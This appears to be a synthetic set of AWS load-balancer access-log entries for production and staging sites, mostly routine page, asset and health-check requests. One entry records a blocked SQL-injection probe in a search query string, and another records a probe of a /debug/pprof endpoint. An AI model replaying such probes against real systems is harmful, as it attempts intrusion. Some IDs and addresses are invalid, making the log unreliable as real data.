arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c733-4982625ae9404b74b49ad72d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:43.821860Z "forward" "-" "-" "10.0.20.95:443" "200" "-" "-" -https 2024-11-01T01:06:44.523485Z prod-web-alb 46.57.175.170:53115 10.0.207.197:443 0.034481 0.003646 0.076549 404 404 443 2492 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c734-4eb96fc092154911b9ef6efc" "prod-web-alb.example.com" "-" 6 2024-11-01T01:06:44.523485Z "forward" "-" "-" "10.0.207.197:443" "404" "-" "-" -https 2024-11-01T01:06:45.827562Z prod-api-alb 201.211.129.211:55965 10.0.128.247:443 0.032250 0.048718 0.082800 301 301 385 302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c735-754c7b61dae946edb4650038" "prod-api-alb.example.com" "-" 4 2024-11-01T01:06:45.827562Z "forward" "-" "-" "10.0.128.247:443" "301" "-" "-" -https 2024-11-01T01:06:46.396285Z prod-web-alb 144.232.216.54:61714 10.0.241.190:443 0.040652 0.207872 0.005578 302 302 560 10065 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c736-804d6cab50324dbebfa5ce2a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:06:46.396285Z "forward" "-" "-" "10.0.241.190:443" "302" "-" "-" -https 2024-11-01T01:06:46.603575Z prod-web-alb 17.132.94.177:39744 10.0.59.210:443 0.014512 0.436046 0.076079 302 302 709 1768 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c736-f45111e1c4d1403ebf669042" "prod-web-alb.example.com" "-" 7 2024-11-01T01:06:46.603575Z "forward" "-" "-" "10.0.59.210:443" "302" "-" "-" -https 2024-11-01T01:06:48.503126Z prod-web-alb 121.157.229.213:15578 10.0.47.176:443 0.078103 0.181416 0.022277 200 200 516 10183 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c738-10e04e798c214bfebd539158" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:48.503126Z "forward" "-" "-" "10.0.47.176:443" "200" "-" "-" -https 2024-11-01T01:06:49.361039Z prod-web-alb 47.22.125.54:31080 10.0.7.246:443 0.040223 0.192229 0.016418 200 200 977 2788 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c739-20a1550f9d934f038f978320" "prod-web-alb.example.com" "-" 2 2024-11-01T01:06:49.361039Z "forward" "-" "-" "10.0.7.246:443" "200" "-" "-" -https 2024-11-01T01:06:51.245180Z prod-web-alb 110.255.96.133:64884 10.0.215.42:443 0.083198 0.306943 0.097720 302 302 556 12610 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73b-b6db2f09c1a44a158c0377a4" "prod-web-alb.example.com" "-" 3 2024-11-01T01:06:51.245180Z "forward" "-" "-" "10.0.215.42:443" "302" "-" "-" -http 2024-11-01T01:06:52.033646Z staging-alb 121.103.128.180:44000 61.227.6.210:80 0.049003 0.223050 0.078729 200 200 324 14926 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c73c-374a2c0564da46f39f5bdf32" "staging-alb.example.com" "-" 0 2024-11-01T01:06:52.033646Z "forward" "-" "-" "61.227.6.210:80" "200" "-" "-" -https 2024-11-01T01:06:52.585251Z prod-web-alb 193.27.228.131:53882 10.0.191.85:443 0.011035 0.345449 0.054477 403 403 218 13424 "POST /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c73c-8584618e1e0a46f9a7995e94" "-" "-" 4 2024-11-01T01:06:52.585251Z "forward" "-" "-" "10.0.191.85:443" "403" "-" "-" -https 2024-11-01T01:06:53.507404Z prod-web-alb 97.241.226.141:28877 10.0.93.46:443 0.025457 0.288746 0.064775 301 301 835 3661 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c73d-7a32363bf6284917bc650316" "prod-web-alb.example.com" "-" 9 2024-11-01T01:06:53.507404Z "forward" "-" "-" "10.0.93.46:443" "301" "-" "-" -https 2024-11-01T01:06:53.626964Z staging-alb 116.55.84.173:41282 244.190.220.177:80 0.000198 0.723184 0.081658 302 302 216 14711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c73d-07129ef228c148a6a09e033d" "staging-alb.example.com" "-" 4 2024-11-01T01:06:53.626964Z "forward" "-" "-" "244.190.220.177:80" "302" "-" "-" -https 2024-11-01T01:06:55.000348Z prod-web-alb 133.54.247.5:60317 10.0.25.23:443 0.043921 0.370663 0.018453 301 301 227 10045 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73f-918677d9f132499ea3b9a31f" "-" "-" 3 2024-11-01T01:06:55.000348Z "forward" "-" "-" "10.0.25.23:443" "301" "-" "-" -https 2024-11-01T01:06:55.493756Z prod-web-alb 144.173.115.54:25956 10.0.212.98:443 0.050762 0.099151 0.012744 200 200 760 6660 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c73f-877ec5b46e024633afdfca29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:06:55.493756Z "forward" "-" "-" "10.0.212.98:443" "200" "-" "-" -https 2024-11-01T01:06:55.723787Z prod-api-alb 114.122.55.12:30688 10.0.54.148:443 0.009669 0.417569 0.047618 302 302 392 6131 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c73f-1f4a064f021e4c41ba584634" "prod-api-alb.example.com" "-" 9 2024-11-01T01:06:55.723787Z "forward" "-" "-" "10.0.54.148:443" "302" "-" "-" -https 2024-11-01T01:06:56.984221Z prod-api-alb 197.198.60.81:57291 10.0.22.166:443 0.001337 0.026024 0.054584 302 302 71 8743 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c740-1c025650fc7e42bab0ed4142" "prod-api-alb.example.com" "-" 2 2024-11-01T01:06:56.984221Z "forward" "-" "-" "10.0.22.166:443" "302" "-" "-" -https 2024-11-01T01:06:58.175129Z staging-alb 214.233.129.52:56193 13.220.194.39:443 0.010711 0.247894 0.140722 200 200 275 2169 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c742-1db2dff1cea14fa08e6ec362" "staging-alb.example.com" "-" 4 2024-11-01T01:06:58.175129Z "forward" "-" "-" "13.220.194.39:443" "200" "-" "-" -https 2024-11-01T01:06:59.149228Z prod-web-alb 165.5.2.130:17137 10.0.62.141:443 0.073274 0.015755 0.056223 200 200 846 14551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c743-474e63350832469b874f8285" "prod-web-alb.example.com" "-" 5 2024-11-01T01:06:59.149228Z "forward" "-" "-" "10.0.62.141:443" "200" "-" "-" -https 2024-11-01T01:07:00.908991Z staging-alb 105.64.226.173:17480 195.176.94.74:443 0.087750 0.393590 0.146947 301 301 536 7185 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c744-a5c6afe531b74012ba31ce12" "-" "-" 0 2024-11-01T01:07:00.908991Z "forward" "-" "-" "195.176.94.74:443" "301" "-" "-" -https 2024-11-01T01:07:01.629567Z prod-api-alb 214.55.30.219:11424 10.0.214.109:443 0.092243 0.421195 0.079204 301 301 634 9723 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c745-889a84b9467e46728e6b3285" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:01.629567Z "forward" "-" "-" "10.0.214.109:443" "301" "-" "-" -https 2024-11-01T01:07:01.974419Z prod-api-alb 193.27.228.121:59893 10.0.211.91:443 0.047663 0.342399 0.037105 403 403 754 13426 "POST /debug/pprof HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c745-069c9b9087904534b5c8b7d2" "-" "-" 4 2024-11-01T01:07:01.974419Z "forward" "-" "-" "10.0.211.91:443" "403" "-" "-" -https 2024-11-01T01:07:02.168813Z staging-alb 15.76.45.163:24339 185.248.232.44:8080 0.032140 0.002988 0.036531 200 200 778 9760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c746-36931aa7ad034b1d8171924a" "staging-alb.example.com" "-" 6 2024-11-01T01:07:02.168813Z "forward" "-" "-" "185.248.232.44:8080" "200" "-" "-" -http 2024-11-01T01:07:02.576546Z staging-alb 166.40.89.118:31924 58.165.227.28:443 0.149029 0.126746 0.135844 302 302 570 2249 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c746-6b5a314c26054e408974e102" "staging-alb.example.com" "-" 2 2024-11-01T01:07:02.576546Z "forward" "-" "-" "58.165.227.28:443" "302" "-" "-" -http 2024-11-01T01:07:03.247803Z staging-alb 234.33.227.77:22034 91.39.248.20:443 0.102216 0.537027 0.112888 302 302 403 971 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c747-fba447d3bf734b44b81c9968" "staging-alb.example.com" "-" 1 2024-11-01T01:07:03.247803Z "forward" "-" "-" "91.39.248.20:443" "302" "-" "-" -https 2024-11-01T01:07:03.709172Z prod-web-alb 252.135.130.142:63728 10.0.245.127:443 0.063991 0.094085 0.030459 404 404 923 7583 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c747-8e86092916a4489e92c754a9" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:03.709172Z "forward" "-" "-" "10.0.245.127:443" "404" "-" "-" -http 2024-11-01T01:07:04.973731Z staging-alb 110.181.34.182:14272 7.138.143.143:80 0.012216 0.320441 0.067985 200 200 187 3735 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c748-f0ccab09ee6b4ebf8ef713ad" "staging-alb.example.com" "-" 6 2024-11-01T01:07:04.973731Z "forward" "-" "-" "7.138.143.143:80" "200" "-" "-" -https 2024-11-01T01:07:05.187686Z prod-api-alb 65.199.167.144:19881 10.0.177.87:443 0.054449 0.190549 0.071279 301 301 308 11831 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c749-00d8bd6afc9845a28663263a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:07:05.187686Z "forward" "-" "-" "10.0.177.87:443" "301" "-" "-" -https 2024-11-01T01:07:07.162181Z staging-alb 111.93.221.54:31888 106.207.35.161:443 0.036804 0.341865 0.114263 200 200 561 12578 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c74b-351ec5515659465e8ab5015f" "staging-alb.example.com" "-" 3 2024-11-01T01:07:07.162181Z "forward" "-" "-" "106.207.35.161:443" "200" "-" "-" -https 2024-11-01T01:07:07.374761Z prod-web-alb 14.150.217.174:41505 10.0.149.96:443 0.099553 0.324939 0.028479 302 302 307 10334 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c74b-6594c159bac2416385e8c6f1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:07:07.374761Z "forward" "-" "-" "10.0.149.96:443" "302" "-" "-" -https 2024-11-01T01:07:09.132877Z prod-web-alb 111.70.201.206:15124 10.0.65.201:443 0.076807 0.215775 0.043483 200 200 972 4283 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74d-3ccb8defa7ee4ccda234ed9a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:07:09.132877Z "forward" "-" "-" "10.0.65.201:443" "200" "-" "-" -https 2024-11-01T01:07:09.460451Z staging-alb 89.0.26.186:37668 213.190.210.34:443 0.036218 0.369576 0.009322 200 200 401 2908 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c74d-4479836015c84095b6eb216c" "staging-alb.example.com" "-" 5 2024-11-01T01:07:09.460451Z "forward" "-" "-" "213.190.210.34:443" "200" "-" "-" -https 2024-11-01T01:07:11.297888Z prod-web-alb 63.208.76.254:35861 10.0.242.160:443 0.096935 0.445741 0.078631 404 404 602 12198 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74f-b6ebb2653ef544e3a8d6dde1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:07:11.297888Z "forward" "-" "-" "10.0.242.160:443" "404" "-" "-" -https 2024-11-01T01:07:11.808881Z prod-web-alb 46.79.44.249:20487 10.0.241.189:443 0.096937 0.272084 0.046939 200 200 615 5562 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c74f-9262cf1b526847e1a319431a" "-" "-" 0 2024-11-01T01:07:11.808881Z "forward" "-" "-" "10.0.241.189:443" "200" "-" "-" -http 2024-11-01T01:07:12.133280Z staging-alb 225.186.23.36:10388 227.218.211.121:443 0.025749 0.211952 0.029100 301 301 772 5985 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c750-a6ac37765a6b41e6bf6f2d04" "staging-alb.example.com" "-" 8 2024-11-01T01:07:12.133280Z "forward" "-" "-" "227.218.211.121:443" "301" "-" "-" -https 2024-11-01T01:07:12.350072Z staging-alb 198.226.120.215:21783 183.214.120.204:80 0.035353 0.215269 0.046178 200 200 245 13709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c750-74ad27f6166a4e14b6a8a9cb" "staging-alb.example.com" "-" 10 2024-11-01T01:07:12.350072Z "forward" "-" "-" "183.214.120.204:80" "200" "-" "-" -https 2024-11-01T01:07:13.077744Z prod-web-alb 93.128.72.212:50046 10.0.168.205:443 0.051717 0.476582 0.072080 200 200 112 12129 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c751-f57561467b17486facc0f434" "prod-web-alb.example.com" "-" 3 2024-11-01T01:07:13.077744Z "forward" "-" "-" "10.0.168.205:443" "200" "-" "-" -http 2024-11-01T01:07:14.975314Z staging-alb 245.181.67.53:61324 231.1.138.46:80 0.140857 0.572616 0.129018 301 301 602 10251 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c752-f03b583720e847cb9052489d" "staging-alb.example.com" "-" 6 2024-11-01T01:07:14.975314Z "forward" "-" "-" "231.1.138.46:80" "301" "-" "-" -https 2024-11-01T01:07:16.394849Z prod-api-alb 42.60.104.106:28680 10.0.209.146:443 0.065072 0.298750 0.079478 404 404 458 1192 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c754-5b991f2363ef4f73a72f7c5d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:07:16.394849Z "forward" "-" "-" "10.0.209.146:443" "404" "-" "-" -https 2024-11-01T01:07:17.096124Z staging-alb 111.80.42.66:32660 192.109.62.152:443 0.131013 0.394323 0.073488 200 200 665 2441 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c755-27145c60e78743afbe5467fe" "staging-alb.example.com" "-" 10 2024-11-01T01:07:17.096124Z "forward" "-" "-" "192.109.62.152:443" "200" "-" "-" -https 2024-11-01T01:07:17.641657Z prod-web-alb 54.171.149.79:24128 10.0.74.49:443 0.088507 0.038006 0.088945 200 200 551 10826 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c755-c226bcdf12f64a378eb332fa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:07:17.641657Z "forward" "-" "-" "10.0.74.49:443" "200" "-" "-" -https 2024-11-01T01:07:18.097368Z prod-web-alb 184.137.83.184:61248 10.0.193.251:443 0.053647 0.416741 0.012648 302 302 29 14953 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c756-2b0459e8f84e47dda669eafa" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:18.097368Z "forward" "-" "-" "10.0.193.251:443" "302" "-" "-" -https 2024-11-01T01:07:18.966569Z prod-web-alb 208.195.145.81:29663 10.0.46.245:443 0.051571 0.125573 0.078627 200 200 326 8227 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c756-d6b0cc6f288d48dba6bcc923" "prod-web-alb.example.com" "-" 7 2024-11-01T01:07:18.966569Z "forward" "-" "-" "10.0.46.245:443" "200" "-" "-" -http 2024-11-01T01:07:19.254245Z staging-alb 74.90.72.233:57002 177.33.118.77:443 0.064108 0.323053 0.037138 404 404 550 14414 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c757-76b8cbdddfee4dc4960ac39f" "staging-alb.example.com" "-" 0 2024-11-01T01:07:19.254245Z "forward" "-" "-" "177.33.118.77:443" "404" "-" "-" -https 2024-11-01T01:07:19.579078Z prod-web-alb 219.59.58.191:17605 10.0.5.246:443 0.081607 0.047824 0.051942 404 404 59 11500 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c757-b720dfc3db54408e89796660" "prod-web-alb.example.com" "-" 1 2024-11-01T01:07:19.579078Z "forward" "-" "-" "10.0.5.246:443" "404" "-" "-" -https 2024-11-01T01:07:21.030345Z prod-api-alb 211.77.4.73:45582 10.0.71.250:443 0.030834 0.448067 0.074517 200 200 973 3527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c759-1a393b9d9a3c40729c27bfc1" "prod-api-alb.example.com" "-" 10 2024-11-01T01:07:21.030345Z "forward" "-" "-" "10.0.71.250:443" "200" "-" "-" -https 2024-11-01T01:07:21.418765Z prod-web-alb 82.152.144.132:42947 10.0.90.253:443 0.073570 0.099410 0.079552 200 200 783 7140 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c759-4d4b57617fd54003bd4ade12" "prod-web-alb.example.com" "-" 9 2024-11-01T01:07:21.418765Z "forward" "-" "-" "10.0.90.253:443" "200" "-" "-" -https 2024-11-01T01:07:22.765703Z staging-alb 109.115.174.247:40017 222.72.46.230:443 0.114641 0.567894 0.021320 301 301 722 14926 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c75a-408cb51f8c7b45669237bb09" "staging-alb.example.com" "-" 6 2024-11-01T01:07:22.765703Z "forward" "-" "-" "222.72.46.230:443" "301" "-" "-" -https 2024-11-01T01:07:23.997889Z prod-web-alb 78.81.24.9:32472 10.0.74.143:443 0.048061 0.472853 0.049158 200 200 580 13385 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c75b-e4c4dfa940b14e19a4f4325f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:07:23.997889Z "forward" "-" "-" "10.0.74.143:443" "200" "-" "-" -http 2024-11-01T01:07:25.570177Z staging-alb 229.156.10.175:20822 125.215.2.239:8080 0.034256 0.583543 0.107749 302 302 313 14725 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 